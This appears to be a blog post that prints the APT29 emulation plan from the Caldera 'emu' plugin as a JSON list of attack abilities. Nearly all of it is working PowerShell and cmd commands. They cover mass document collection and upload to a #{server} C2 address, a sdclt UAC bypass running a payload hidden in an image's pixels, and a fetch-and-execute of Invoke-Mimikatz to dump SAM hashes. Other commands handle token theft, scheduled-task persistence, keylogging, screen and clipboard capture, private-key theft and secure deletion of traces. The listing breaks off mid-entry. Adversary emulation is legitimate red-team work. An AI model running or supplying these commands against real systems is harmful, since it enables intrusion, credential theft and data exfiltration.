Adversary: APT29

Posted Nov 12, 2024

By Oscar Llerena

38 min read

Adversary: APT29

Sequence of actions

  
┌──(caldera-env)─(attacker㉿kali)-[~/…/caldera/plugins/emu/data]
└─$ jq '.[] | select(.adversary == "APT29")' commands-output.json

  
{
  "adversary": "APT29",
  "abilities": [
    {
      "ability_id": "571845f6-b75c-4b9d-a666-a78f7827261f",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Sleep 3;\n$bin = Get-ChildItem *cod*scr*;\n$arguments = '-server \"#{server}\" -group \"rtlo_group\"';\nstart-process -WindowStyle Hidden $bin.FullName.toString() -ArgumentList $arguments;\n\nif ($?) {\n  write-host \"Successfully completed RTLO execution. A new agent should appear\";\n  exit 0;\n\n} else {\n  write-host \"Failure of RTLO execution.\";\n  exit 1;\n}\n"
      },
      "privilege": "Unknown",
      "tactic": "execution",
      "technique": "Masquerading: Right-to-Left Override",
      "attack_id": "T1036.002"
    },
    {
      "ability_id": "a5daa530-c640-49bc-aa54-6808789a684a",
      "platform": "windows",
      "commands": {
        "cmd": "powershell.exe;\nif ($?) {\n  write-host \"[*] PowerShell successfully spawned\";\n  exit 0;\n}\n"
      },
      "privilege": "Unknown",
      "tactic": "execution",
      "technique": "Command and Scripting Interpreter: PowerShell",
      "attack_id": "T1059.001"
    },
    {
      "ability_id": "5692da31-3586-4e4f-8f07-5750070c730b",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*admin*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\\Draft.Zip -Force\n"
      },
      "privilege": "Unknown",
      "tactic": "collection",
      "technique": "Automated Collection",
      "attack_id": "T1119"
    },
    {
      "ability_id": "ee08a427-1e1d-4d8a-aeb1-978a7fcf9087",
      "platform": "windows",
      "commands": {
        "cmd": "ipconfig /all\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Network Configuration Discovery",
      "attack_id": "T1016"
    },
    {
      "ability_id": "64f1fcb4-399d-4f3b-9a6b-13ec00e1c2ce",
      "platform": "windows",
      "commands": {
        "cmd": "arp -a\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Network Configuration Discovery",
      "attack_id": "T1016"
    },
    {
      "ability_id": "35d95b64-c1f8-4ac7-a2f2-8959218239cd",
      "platform": "windows",
      "commands": {
        "cmd": "echo %USERDOMAIN%\\%USERNAME%\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Owner/User Discovery",
      "attack_id": "T1033"
    },
    {
      "ability_id": "68e209dd-f354-4adc-8bc6-e85a3e55a7f4",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Import-Module .\\upload.ps1 -Verbose -Force;\nInvoke-MultipartFormDataUpload -InFile \"C:\\Users\\#{profile_user}\\AppData\\Roaming\\Draft.zip\" -Uri \"#{server}/file/upload\";\n"
      },
      "privilege": "Unknown",
      "tactic": "exfiltration",
      "technique": "Exfiltration Over Command and Control Channel",
      "attack_id": "T1041"
    },
    {
      "ability_id": "5df12481-9d8c-4235-b550-9cefc8ed7361",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Import-Module .\\ps.ps1 -Verbose -Force;\nProcessList\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Process Discovery",
      "attack_id": "T1057"
    },
    {
      "ability_id": "41610306-087c-4c34-874b-37b8ed633a36",
      "platform": "windows",
      "commands": {
        "cmd": "tasklist /v\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Process Discovery",
      "attack_id": "T1057"
    },
    {
      "ability_id": "2ff877b4-0c00-401e-9d3f-070c70b610df",
      "platform": "windows",
      "commands": {
        "cmd": "sc query\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Service Discovery",
      "attack_id": "T1007"
    },
    {
      "ability_id": "144b1384-5060-494f-80eb-91772695cdf3",
      "platform": "windows",
      "commands": {
        "cmd": "net start\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Service Discovery",
      "attack_id": "T1007"
    },
    {
      "ability_id": "d2ea2676-7f85-4228-b980-ab3c0e1adc03",
      "platform": "windows",
      "commands": {
        "cmd": "systeminfo\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Information Discovery",
      "attack_id": "T1082"
    },
    {
      "ability_id": "7c2a6e5b-1adb-464f-a581-4677391f8dd6",
      "platform": "windows",
      "commands": {
        "cmd": "net config workstation\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Information Discovery",
      "attack_id": "T1082"
    },
    {
      "ability_id": "faa96e7f-081a-40b7-a743-a6a7f2627ea3",
      "platform": "windows",
      "commands": {
        "cmd": "net localgroup administrators\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Permission Groups Discovery",
      "attack_id": "T1069"
    },
    {
      "ability_id": "26181249-be75-41ed-9fe7-5c30ea8c2d4d",
      "platform": "windows",
      "commands": {
        "cmd": "net localgroup administrators /domain\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Permission Groups Discovery",
      "attack_id": "T1069"
    },
    {
      "ability_id": "84377d7a-0363-44fd-a082-44657ca1858f",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "cmd.exe /c net group \"Domain Admins\" /domain\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Permission Groups Discovery",
      "attack_id": "T1069"
    },
    {
      "ability_id": "61221fb9-cb32-46d5-98fd-90567a621526",
      "platform": "windows",
      "commands": {
        "cmd": "net user /domain\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Account Discovery",
      "attack_id": "T1087"
    },
    {
      "ability_id": "9ce5bf9f-44ec-44c4-bbe0-6d68a83e1b76",
      "platform": "windows",
      "commands": {
        "cmd": "net user %USERNAME% /domain\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Account Discovery",
      "attack_id": "T1087"
    },
    {
      "ability_id": "5c23f638-9cfc-4fc4-9cab-4af628fef70a",
      "platform": "windows",
      "commands": {
        "cmd": "reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Query Registry",
      "attack_id": "T1012"
    },
    {
      "ability_id": "68b588bc-002a-42dc-bac7-9189f944065b",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "$username=\"#{profile_user}\";\nif ( $(test-path -path \"C:\\Users\\$username\\Downloads\\monkey.png\") -eq $false ) {\n  copy-item monkey.png -Destination \"C:\\Users\\$username\\Downloads\\\\\" -Force;\n  if ($? -eq $True) {\n    write-host \"[+] Successfully copied monkey.png!\";\n    get-childitem -path \"C:\\Users\\$username\\Downloads\\\\\";\n    exit 0;\n  } else {\n    write-host \"[+] Failed to copy monkey.png.\";\n    exit 1;\n  }\n\n  } else {\n    write-host \"[*] monkey.png already exists within C:\\users\\$username\\Downloads...\"\n  }\n"
      },
      "privilege": "Unknown",
      "tactic": "defensive-evasion",
      "technique": "Masquerading: Match Legitimate Name or Location",
      "attack_id": "T1036.005"
    },
    {
      "ability_id": "1345bff7-6f26-43b2-a92a-9aabccdb3db0",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Import-Module .\\Invoke-BypassUACTokenManipulation.ps1 -Verbose -Force;\nMove-Item -Path .\\update.ps1 -Destination $env:APPDATA -Force;\n$pcode = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(\"Import-Module $env:APPDATA\\update.ps1;update('#{server}')\"));\nInvoke-BypassUACTokenManipulation -Arguments \"-nop -exec bypass -EncodedCommand $pcode\" -Verbose\n"
      },
      "privilege": "Unknown",
      "tactic": "privilege-escalation",
      "technique": "Access Token Manipulation: Token Impersonation/Theft",
      "attack_id": "T1134.001"
    },
    {
      "ability_id": "89e9dffa-8836-4672-8cf3-bebd006d2a2b",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "if (!(test-path -path $env:windir\\system32\\sdclt.exe)) {\n  write-host \"[!] sdclt.exe was not found on this host.\";\n  exit 1;\n}\nNew-Item -Path HKCU:\\Software\\Classes -Name Folder -Force;\nNew-Item -Path HKCU:\\Software\\Classes\\Folder -Name shell -Force;\nNew-Item -Path HKCU:\\Software\\Classes\\Folder\\shell -Name open -Force;\nNew-Item -Path HKCU:\\Software\\Classes\\Folder\\shell\\open -Name command -Force;\n\n$username=\"#{profile_user}\";\n$payload='powershell.exe -noni -noexit -ep bypass -window hidden -c \"sal a New-Object;Add-Type -AssemblyName \"System.Drawing\"; $g=a System.Drawing.Bitmap(\"C:\\Users\\$($username)\\Downloads\\monkey.png\");$o=a Byte[] 4480;for($i=0; $i -le 6; $i++){foreach($x in(0..639)){$p=$g.GetPixel($x,$i);$o[$i*640+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3932]))\"';\n\nSet-ItemProperty -Path \"HKCU:\\Software\\Classes\\Folder\\shell\\open\\command\" -Name \"(Default)\" -Value $payload -Force;\nSet-ItemProperty -Path \"HKCU:\\Software\\Classes\\Folder\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force;\n\ncmd.exe /c sdclt.exe;\ncmd.exe /c powershell.exe;\n"
      },
      "privilege": "Unknown",
      "tactic": "privilege-escalation",
      "technique": "Abuse Elevation Control Mechanism: Bypass User Account Control",
      "attack_id": "T1548.002"
    },
    {
      "ability_id": "5ff80022-8d85-410b-b868-6c7565b267e5",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Remove-Item -Path HKCU:\\Software\\Classes\\Folder* -Recurse -Force;\nif (!(test-path -path HKCU:\\Software\\Classes\\Folder)) {\n  write-host \"[+] Reg keys removed!\";\n }\n"
      },
      "privilege": "Unknown",
      "tactic": "defensive-evasion",
      "technique": "Modify Registry",
      "attack_id": "T1112"
    },
    {
      "ability_id": "088b8639-3f37-42cc-9dc8-01aabb645461",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Import-Module .\\Invoke-PSInject.ps1 -Verbose -Force;\nMove-Item -Path .\\update.ps1 -Destination $env:APPDATA -Force;\n$pcode = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(\"Import-Module $env:APPDATA\\update.ps1;update('#{server}')\"));\nInject -PoshCode $pcode;\n"
      },
      "privilege": "Unknown",
      "tactic": "privilege-escalation",
      "technique": "Process Injection",
      "attack_id": "T1055"
    },
    {
      "ability_id": "4f7d21c9-ea31-4943-ad8a-efbbeeccdd7d",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "iwr -uri \"https://download.sysinternals.com/files/SysinternalsSuite.zip\" -outfile SysInternalsSuite.zip;\nExpand-Archive -Path SysInternalsSuite.zip -DestinationPath \"C:\\Users\\#{profile_user}\\Downloads\\SysInternalsSuite\" -Force;\n\nif (! $?) {\n  write-host \"Error moving files to #{profile_user}\\Downloads\";\n  exit 1;\n}\n\nMove-Item Modified-SysInternalsSuite.zip \"C:\\Users\\#{profile_user}\\Downloads\" -Force;\nExpand-Archive -LiteralPath \"C:\\Users\\#{profile_user}\\Downloads\\Modified-SysInternalsSuite.zip\" -DestinationPath \"C:\\Users\\#{profile_user}\\Downloads\\Modified-SysInternalsSuite\" -Force;\n\nif (! $?) {\n  write-host \"Error expanding files to #{profile_user}\\Downloads\";\n  exit 1;\n}\n\n$dir_exists=Test-Path -path \"C:\\Program Files\\SysInternalsSuite\";\nif ($dir_exists -eq $true) {\n  write-host \"[*] SysInternalsSuite folder exists within \\\"C:\\Program Files\\\", copying over payloads then removing folder from Downloads.\";\n  Move-Item -path \"C:\\Users\\#{profile_user}\\Downloads\\SysInternalsSuite\\\\*\" -Destination \"C:\\Program Files\\SysInternalsSuite\\\\\" -Force;\n  Move-Item -path \"C:\\Users\\#{profile_user}\\Downloads\\Modified-SysInternalsSuite\\\\*\" -Destination \"C:\\Program Files\\SysInternalsSuite\\\\\" -Force;\n} else {\n  mkdir \"C:\\Program Files\\SysInternalsSuite\";\n  Copy-Item -Path \"C:\\Users\\#{profile_user}\\Downloads\\SysInternalsSuite\\\\*\" -Destination \"C:\\Program Files\\SysInternalsSuite\\\\\" -Force;\n  Copy-Item -Path \"C:\\Users\\#{profile_user}\\Downloads\\Modified-SysInternalsSuite\\\\*\" -Destination \"C:\\Program Files\\SysInternalsSuite\\\\\" -Force;\n}\n\nif (test-path -path \"SysInternalsSuite.zip\") {\n  Remove-Item -path \"filesystem::SysInternalsSuite.zip\" -force;\n}\n\nif (test-path -path \"C:\\Users\\#{profile_user}\\Downloads\\Modified-SysInternalsSuite.zip\" ) {\n  remove-item -path \"C:\\Users\\#{profile_user}\\Downloads\\Modified-SysInternalsSuite.zip\" -force;\n}\n\nif (test-path -path \"C:\\Users\\#{profile_user}\\Downloads\\Modified-SysInternalsSuite\") {\n  remove-item -path \"C:\\Users\\#{profile_user}\\Downloads\\Modified-SysInternalsSuite\" -recurse -force;\n}\n\nif (test-path -path \"C:\\Users\\#{profile_user}\\Downloads\\SysInternalsSuite\") {\n  Remove-Item -path  \"C:\\Users\\#{profile_user}\\Downloads\\SysInternalsSuite\" -recurse -force;\n}\n\nSet-Location -path \"C:\\Program Files\\SysInternalsSuite\";\nif ($?) {\n  gci;\n  write-host \"[*] Successfully planted files\"\n} else {\n  write-host \"[!] Error downloading and planting modified system tools.\"\n}\n"
      },
      "privilege": "Unknown",
      "tactic": "stage-capabilities",
      "technique": "Masquerading: Match Legitimate Name or Location",
      "attack_id": "T1036.005"
    },
    {
      "ability_id": "59592c35-8207-4896-8d8b-36ad4600245d",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "cmd.exe /c net group \"Domain Controllers\" /domain\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Remote System Discovery",
      "attack_id": "T1018"
    },
    {
      "ability_id": "24ed020e-4730-4000-b6b4-6b5d3e95314f",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "cmd.exe /c net group \"Domain Computers\" /domain\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Remote System Discovery",
      "attack_id": "T1018"
    },
    {
      "ability_id": "5f4263c4-7ff1-4098-b5f5-f41faa31cf5b",
      "platform": "windows",
      "commands": {
        "cmd": "netsh advfirewall show allprofiles\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Network Configuration Discovery",
      "attack_id": "T1016"
    },
    {
      "ability_id": "646be6c9-f27a-4f5f-be5d-b8a0317e215f",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "$ps = get-process;\nwrite-output $ps;\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Process Discovery",
      "attack_id": "T1057"
    },
    {
      "ability_id": "9b5b5aec-32ff-4d74-8555-727b50ab15f6",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "if (! $(test-path -path \"C:\\Program Files\\SysInternalsSuite\";)) {\n  write-host \"[!] The path C:\\Program Files\\SysInternalsSuite does not exist. Execution has stopped.\";\n  exit 1;\n}\nSet-Location -path \"C:\\Program Files\\SysInternalsSuite\";\ngci $env:userprofile\\Desktop;\n.\\sdelete64.exe /accepteula \"$env:USERPROFILE\\Desktop\\‮cod.3aka3.scr\";\n.\\sdelete64.exe /accepteula \"$env:APPDATA\\Draft.Zip\";\n.\\sdelete64.exe /accepteula \"$env:USERPROFILE\\Downloads\\SysInternalsSuite.zip\";\n"
      },
      "privilege": "Unknown",
      "tactic": "defensive-evasion",
      "technique": "Indicator Removal on Host: File Deletion",
      "attack_id": "T1070.004"
    },
    {
      "ability_id": "6f1f4768-7099-45d2-a858-b49dc792234e",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "if (! $(test-path -path \"C:\\Program Files\\SysInternalsSuite\")) {\n  write-host \"[!] The path C:\\Program Files\\SysInternalsSuite does not exist. Execution has stopped.\";\n  exit 1;\n}\n\nSet-Location -path \"C:\\Program Files\\SysInternalsSuite\";\nif (!(test-path \".\\readme.ps1\")) {\n  Move-Item .\\readme.txt readme.ps1 -Force;\n}\n. .\\readme.ps1;\nInvoke-Discovery;\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Information Discovery",
      "attack_id": "T1082"
    },
    {
      "ability_id": "ba0b398d-91b8-490a-bed2-f959afa8e1aa",
      "platform": "windows",
      "commands": {
        "cmd": "netstat -ano\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Network Connections Discovery",
      "attack_id": "T1049"
    },
    {
      "ability_id": "effbedc1-1bc8-4a75-9395-980559700008",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True };\n$web = (New-Object System.Net.WebClient);\n$result = $web.DownloadString(\"https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1\");\niex $result;\nfunction hashdump\n{\n    Invoke-Mimikatz -Command \"privilege::debug token::elevate lsadump::sam exit\"\n};\nhashdump;\n"
      },
      "privilege": "Unknown",
      "tactic": "credential-access",
      "technique": "Credential Dumping",
      "attack_id": "T1003"
    },
    {
      "ability_id": "9c75155e-21ab-4471-af16-45f3795a313c",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Set-Location -path \"C:\\Program Files\\SysinternalsSuite\";\nif (get-service -name \"javamtsup\" -ErrorAction SilentlyContinue) {\n  write-host \"[*] Service already exists...Not running persistence step-1\";\n  exit 1;\n}\n\nif (Test-Path -path \"readme.ps1\") {\n  . .\\readme.ps1;\n  Invoke-Persistence -PersistStep 1;\n  write-host \"[+] Persistence 1 invoked.\";\n  exit 0;\n\n} else {\n  write-host \"[!] readme.ps1 not found.\";\n  exit 1;\n}\n"
      },
      "privilege": "Unknown",
      "tactic": "persistence",
      "technique": "Boot or Logon Autostart Execution: Shortcut Modification",
      "attack_id": "T1547.009"
    },
    {
      "ability_id": "45f18b58-c14f-4b61-a3da-41b67af21429",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Set-Location -path \"C:\\Program Files\\SysinternalsSuite\";\nif (Test-Path -path \"readme.ps1\") {\n  . .\\readme.ps1;\n  Invoke-Persistence -PersistStep 2;\n  write-host \"[+] Persistence 2 invoked.\";\n\n} else {\n  write-host \"[!] readme.ps1 not found.\";\n  return 1;\n}\n"
      },
      "privilege": "Unknown",
      "tactic": "persistence",
      "technique": "Boot or Logon Autostart Execution: Shortcut Modification",
      "attack_id": "T1547.009"
    },
    {
      "ability_id": "03afada1-1714-408f-bde5-f528b91dc89d",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Import-Module .\\StealToken.ps1 -Verbose -Force;\nStealToken;\nCreateProcessWithToken -CommandLine 'cmd.exe /c reg query \"\\\\#{remote.file.share}\\hklm\\system\\currentcontrolset\\control\\terminal server\"';\nCreateProcessWithToken -CommandLine 'cmd.exe /c schtasks /create /tn \"Resume Viewer Update Checker\" /tr \".\\sandcat.exe #{server} evals\" /sc ONLOGON /RU SYSTEM';\nCreateProcessWithToken -CommandLine 'cmd.exe /c dir /s /b #{remote.file.share}';\nCreateProcessWithToken -CommandLine 'cmd.exe /c tree %USERPROFILE%';\nRevertToSelf;\n"
      },
      "privilege": "Unknown",
      "tactic": "defensive-evasion",
      "technique": "Access Token Manipulation",
      "attack_id": "T1134"
    },
    {
      "ability_id": "e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "if (! $(test-path -path \"C:\\Program Files\\SysinternalsSuite\")) {\n  write-host \"[!] The path C:\\Program Files\\SysinternalsSuite does not exist. Execution has stopped.\";\n  exit 1;\n}\n\nSet-Location -path \"C:\\Program Files\\SysinternalsSuite\";\n./accesschk.exe -accepteula .;\n"
      },
      "privilege": "Unknown",
      "tactic": "credential-access",
      "technique": "Credential Dumping",
      "attack_id": "T1003"
    },
    {
      "ability_id": "1b9e018d-986d-42d9-bb8b-0e104e98ce9c",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Import-Module .\\StealToken.ps1 -Verbose -Force;\nStealToken;\nCreateProcessWithToken -CommandLine 'cmd.exe /c reg query \"\\\\#{remote.file.share}\\hklm\\system\\currentcontrolset\\control\\terminal server\"';\nCreateProcessWithToken -CommandLine 'cmd.exe /c schtasks /create /tn \"Resume Viewer Update Checker\" /tr \".\\sandcat.exe #{server} evals\" /sc ONLOGON /RU SYSTEM';\nCreateProcessWithToken -CommandLine 'cmd.exe /c dir /s /b #{remote.file.share}';\nCreateProcessWithToken -CommandLine 'cmd.exe /c tree %USERPROFILE%';\nRevertToSelf;\n"
      },
      "privilege": "Unknown",
      "tactic": "defensive-evasion",
      "technique": "Access Token Manipulation",
      "attack_id": "T1134"
    },
    {
      "ability_id": "c4f4b13c-87b6-498c-b814-93570173068c",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Import-PfxCertificate -Exportable -FilePath \".\\dmevals.local.pfx\" -CertStoreLocation Cert:\\LocalMachine\\My;\n\nif (! $(test-path -path \"C:\\Program Files\\SysinternalsSuite\")) {\n  write-host \"[!] The path C:\\Program Files\\SysinternalsSuite does not exist. Execution has stopped.\";\n  exit 1;\n}\nSet-Location -path \"C:\\Program Files\\SysinternalsSuite\";\n. .\\readme.ps1;\nGet-PrivateKeys;\nif ($? -eq $True) {\n    write-host \"[+] Successfully executed private key collection script.\";\n    exit 0;\n} else {\n    write-host \"[!] Error, could not execution Get-PrivateKeys.\";\n    exit 1;\n}\n"
      },
      "privilege": "Unknown",
      "tactic": "credential-access",
      "technique": "Unsecured Credentials: Private Keys",
      "attack_id": "T1552.004"
    },
    {
      "ability_id": "a4b14c10-49aa-4ae4-b165-d5a37364fe62",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "if (! $(test-path -path \"C:\\Program Files\\SysInternalsSuite\")) {\n  write-host \"[!] The path C:\\Program Files\\SysInternalsSuite does not exist. Execution has stopped.\";\n  exit 1;\n}\n\nSet-Location -path \"C:\\Program Files\\SysInternalsSuite\";\nif (test-path -path \".\\psversion.txt\" ) {\n  move-item .\\psversion.txt psversion.ps1 -Force;\n}\n  write-host \"[+] File psversion.ps1 staged to be imported.\"\n"
      },
      "privilege": "Unknown",
      "tactic": "defensive-evasion",
      "technique": "Masquerading: Match Legitimate Name or Location",
      "attack_id": "T1036.005"
    },
    {
      "ability_id": "a81ea4ad-bc9f-49a7-82d4-4466df641487",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "if (! $(test-path -path \"C:\\Program Files\\SysinternalsSuite\\psversion.ps1\";)) {\n  write-host \"[!] The path C:\\Program Files\\SysinternalsSuite\\psversion.ps1 does not exist. Execution has stopped.\";\n  exit 1;\n}\n\nSet-Location -path \"C:\\Program Files\\SysinternalsSuite\";\n. .\\psversion.ps1;\nInvoke-ScreenCapture; Start-Sleep -Seconds 3; View-Job -JobName \"Screenshot\";\n"
      },
      "privilege": "Unknown",
      "tactic": "collection",
      "technique": "Screen Capture",
      "attack_id": "T1113"
    },
    {
      "ability_id": "ee4c2eab-be57-434c-a32c-14b77360301a",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "$clip_data=get-clipboard;\nif ($clip_data.Length -gt 0) {\n  write-host \"[+] Clipboard data obtained!\\n\";\n  write-host $clip_data;\n} else {\n  write-host \"[!] No clipboard data available!\\n\";\n}\n"
      },
      "privilege": "Unknown",
      "tactic": "collection",
      "technique": "Clipboard Data",
      "attack_id": "T1115"
    },
    {
      "ability_id": "db28f68d-e8b8-46e6-b680-642570d4b257",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "if (! $(test-path -path \"C:\\Program Files\\SysinternalsSuite\")) {\n  write-host \"[!] The path C:\\Program Files\\SysinternalsSuite does not exist. Execution has stopped.\";\n  exit 1;\n}\nSet-Location -path \"C:\\Program Files\\SysinternalsSuite\";\n. .\\psversion.ps1;\nGet-Keystrokes;\nStart-Sleep -Seconds 15;\nView-Job -JobName \"Keystrokes\";\n"
      },
      "privilege": "Unknown",
      "tactic": "collection",
      "technique": "Input Capture: Keylogging",
      "attack_id": "T1056.001"
    },
    {
      "ability_id": "a612311d-a802-48da-bb7f-88a4b9dd7a24",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Write-Host \"[*] Compressing all the things in download dir\";\nCompress-Archive -Path \"C:\\Users\\#{profile_user}\\Downloads\\*.*\" -DestinationPath \"$env:APPDATA\\OfficeSupplies.zip\";\n\nImport-Module .\\upload.ps1 -Verbose -Force;\nInvoke-MultipartFormDataUpload -InFile \"$env:APPDATA\\OfficeSupplies.zip\" -Uri \"#{server}/file/upload\";\nif ($?) {\n  write-host \"[+] Data exfil of download directory completed!\";\n} else {\n  write-host \"[!] Data exfil failed!\";\n}\n"
      },
      "privilege": "Unknown",
      "tactic": "exfiltration",
      "technique": "Exfiltration Over C2 Channel",
      "attack_id": "T1041"
    },
    {
      "ability_id": "9b518cfb-125f-466e-872b-4f8171773ce5",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Import-Module .\\StealToken.ps1 -Verbose -Force;\nStealToken;\nCreateProcessWithToken -CommandLine 'cmd.exe /c reg query \"\\\\#{remote.file.share}\\hklm\\system\\currentcontrolset\\control\\terminal server\"';\nCreateProcessWithToken -CommandLine 'cmd.exe /c schtasks /create /tn \"Resume Viewer Update Checker\" /tr \".\\sandcat.exe #{server} evals\" /sc ONLOGON /RU SYSTEM';\nCreateProcessWithToken -CommandLine 'cmd.exe /c dir /s /b #{remote.file.share}';\nCreateProcessWithToken -CommandLine 'cmd.exe /c tree %USERPROFILE%';\nRevertToSelf;\n"
      },
      "privilege": "Unknown",
      "tactic": "defensive-evasion",
      "technique": "Access Token Manipulation: Token Impersonation/Theft",
      "attack_id": "T1134.001"
    },
    {
      "ability_id": "6b90da47-13d0-48fc-8f07-0a1e6d5d876e",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Import-Module .\\StealToken.ps1 -Verbose -Force;\nStealToken;\nCreateProcessWithToken -CommandLine 'cmd.exe /c reg query \"\\\\#{remote.file.share}\\hklm\\system\\currentcontrolset\\control\\terminal server\"';\nCreateProcessWithToken -CommandLine 'cmd.exe /c schtasks /create /tn \"Resume Viewer Update Checker\" /tr \".\\sandcat.exe #{server} evals\" /sc ONLOGON /RU SYSTEM';\nCreateProcessWithToken -CommandLine 'cmd.exe /c dir /s /b #{remote.file.share}';\nCreateProcessWithToken -CommandLine 'cmd.exe /c tree %USERPROFILE%';\nRevertToSelf;\n"
      },
      "privilege": "Unknown",
      "tactic": "defensive-evasion",
      "technique": "Access Token Manipulation: Token Impersonation/Theft",
      "attack_id": "T1134.001"
    },
    {
      "ability_id": "95564347-e77a-4a89-b08f-dcafa5468f2c",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "if (! $(test-path -path \"C:\\Program Files\\SysinternalsSuite\")) {\n  write-host \"[!] The path C:\\Program Files\\SysinternalsSuite does not exist. Execution has stopped.\";\n  exit 1;\n}\n\nSet-Location -path \"C:\\Program Files\\SysinternalsSuite\";\n. .\\psversion.ps1;\nAd-Search Computer Name *;\n"
      },
      "privilege": "Unknown",
      "tactic": "execution",
      "technique": "Command and Scripting Interpreter: PowerShell",
      "attack_id": "T1059.001"
    },
    {
      "ability_id": "c4a59e39-53b0-4ace-9528-8ff052752ece",
      "platform": "windows",
      "commands": {
        "psh": "Invoke-Command -ComputerName \"$(hostname)\" -ScriptBlock { Get-Process -IncludeUserName | Select-Object UserName,SessionId | Where-Object { $_.UserName -like \"*\\$env:USERNAME\" } | Sort-Object SessionId -Unique } | Select-Object UserName,SessionId -Last 1;\n"
      },
      "privilege": "Unknown",
      "tactic": "execution",
      "technique": "Command and Scripting Interpreter: PowerShell",
      "attack_id": "T1059.001"
    },
    {
      "ability_id": "9fefcde6-083a-4440-8eca-dc03d30c0bcb",
      "platform": "windows",
      "commands": {
        "psh,pwsh": "Import-Module .\\StealToken.ps1 -Verbose -Force;\nStealToken;\nCreateProcessWithToken -CommandLine 'cmd.exe /c reg query \"\\\\#{remote.file.share}\\hklm\\system\\currentcontrolset\\control\\terminal server\"';\nCreateProcessWithToken -CommandLine 'cmd.exe /c schtasks /create /tn \"Resume Viewer Update Checker\" /tr \".\\sandcat.exe #{server} evals\" /sc ONLOGON /RU SYSTEM';\nCreateProcessWithToken -CommandLine 'cmd.exe /c dir /s /b #{remote.file.share}';\nCreateProcessWithToken -CommandLine 'cmd.exe /c tree %USERPROFILE%';\nRevertToSelf;\n"
      },
      "privilege": "Unknown",
      "tactic": "defensive-evasion",
      "technique": "Access Token Manipulation: Token Impersonation/Theft",
      "attack_id": "T1134.001"
    },
    {
      "ability_id": "bddc0abc-07a0-41b7-813f-e0c64d9226b3",
      "platform": "windows",
      "commands": {
